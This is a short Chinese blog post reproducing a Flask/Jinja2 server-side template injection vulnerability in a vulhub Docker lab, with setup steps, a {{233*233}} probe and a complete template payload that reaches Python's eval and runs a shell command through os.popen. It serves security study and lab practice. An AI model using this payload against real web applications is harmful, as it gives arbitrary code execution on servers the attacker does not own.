flask 服务端模板注入漏洞复现
水下月2021-02-04 14:12:39
漏洞原因
服务器模板注入 (SSTI ) 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点。SSTI 攻击可以用来找出 Web 应用程序的内容结构。
漏洞复现
1.cd /vulhub/flack/ssti //进入到ssti的目录下
2.docker-compose up -d && docker-compose build // 加载环境并运行
3.然后在浏览器上访问http://your-ip:8000
4、访问http://your-ip/?name={{233*233}},得到54289,说明SSTI漏洞存在。
5、 获取eval函数并执行任意python代码的POC: //获取os
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

水下月
暂无描述